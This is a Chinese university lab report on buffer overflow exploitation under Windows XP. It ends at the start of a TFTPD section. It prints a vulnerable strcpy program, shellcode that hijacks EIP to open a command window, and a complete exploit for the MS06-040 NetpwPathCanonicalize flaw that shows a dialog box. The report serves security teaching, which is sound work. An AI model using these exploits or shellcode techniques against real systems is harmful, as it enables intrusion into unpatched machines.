缓冲区溢出实验报告
- 格式:doc
- 大小:362.00 KB
- 文档页数:15
华中科技大学计算机学院
《信息系统应用安全》实验报告
实验名称 缓冲区溢出实验
团队成员:
姓 名 班 级 学 号 贡献百分比
得 分
高涛 信安0703班 U200714975 100%
注:团队成员贡献百分比之和为1
教师评语:
一.实验环境
操作系统:Windows XP SP3
编译平台:Visual C++ 6.0
调试环境:OllyDbg
二.实验目的
1. 掌握缓冲区溢出的原理;
2. 掌握缓冲区溢出漏洞的利用技巧;
3. 理解缓冲区溢出漏洞的防范措施。
三.实验内容及步骤
1. 缓冲区溢出漏洞产生的的基本原理和攻击方法
缓冲区溢出模拟程序
程序源代码如下:
#include "string.h"
#include "stdio.h"
#include
//char name[]="AAAAAAAAAAAAAAAA";
char name[]="AAAAAAAAAAAAABCD";
int main()
{
char output[8];
strcpy(output, name);//内存拷贝,如果name长度超过8,则出现缓冲区溢出
for(int i=0;i<8&&output[i];i++)
{
printf("\\0x%x",output[i]);
}
printf("\n");
return 0;
}
运行该程序产生访问异常:
由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。
运行命令窗口的shellcode
shellcode测试代码如下:
#include "string.h"
#include "stdio.h"
#include
char name[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41" ///覆盖ebp
"\x12\x45\xfa\x7f" ////覆盖eip, jmp esp地址7ffa4512
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"
"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"
"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"
"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"
"\x8d\x45\xf4\x50\xb8"
"\x77\x1d\x80\x7c" // LoadLibraryW的地址
"\xff\xd0"
"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"
"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"
"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"
"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"
"\xba"
"\xc7\x93\xbf\x77" // System 的地址
"\xff\xd2";
int main()
{
char output[8];
strcpy(output, name);
for(int i=0;i<8&&output[i];i++)
{
printf("\\0x%x",output[i]);
}
printf("\n");
return 0;
}
shellcode测试代码运行效果如下:
由于把main函数的返回EIP地址替换成了jmp esp的地址,main函数返回的时候就会执行我们的shellcode代码。该shellcode,运行命令窗口。
2. MS06-040 缓冲区溢出漏洞分析和利用
溢出点定位
溢出点定位源代码
#include
typedef void (*MYPROC)(LPTSTR);
int main()
{
char arg_1[0x320];
char arg_2[0x440];
int arg_3=0x440;
char arg_4[0x100];
long arg_5=44;
int i=0;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[] = "./netapi32.dll";
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);//加载当前目录的netapi32.dll
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);//获得NetpwPathCanonicalize的调用地址
//填充参数
memset(arg_1,0,sizeof(arg_1));//先清零内存
memset(arg_1,'a',sizeof(arg_1)-2);//必须使用null结束符,填充a
arg_1[792]='c';
arg_1[793]='c';
arg_1[794]='c';
arg_1[795]='c';
memset(arg_4,0,sizeof(arg_4));//先清零内存
memset(arg_4,'b',sizeof(arg_4)-2);//必须使用null结束符,填充b
(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);//调用NetpwPathCanonicalize
FreeLibrary(LibHandle);
return 0;
}
程序运行效果如下:
可以看到错误访问地址为63636363,即为‘c’的编码,所以成功得定位了溢出点。
漏洞利用
漏洞利用的源代码如下:
#include
typedef void (*MYPROC)(LPTSTR);
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{
char arg_1[0x320];
char arg_2[0x440];
int arg_3=0x440;
char arg_4[0x100];
long arg_5=44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[] = "./netapi32.dll";
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(arg_1,0,sizeof(arg_1));
memset(arg_1,0x90,sizeof(arg_1)-2);
memset(arg_4,0,sizeof(arg_4));
memset(arg_4,'a',sizeof(arg_4)-2);
memcpy(arg_4,shellcode,168);
arg_1[0x318]=0xF9;// CALL ECX 的地址
arg_1[0x319]=0x52;
arg_1[0x31A]=0x18;
arg_1[0x31B]=0x75;
(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);
FreeLibrary(LibHandle);
}
漏洞利用的效果如下:
可以看到成功的利用该漏洞,弹出了一个对话框。
3. TFTPD溢出漏洞分析与利用
溢出点定位
1.构造FUZZ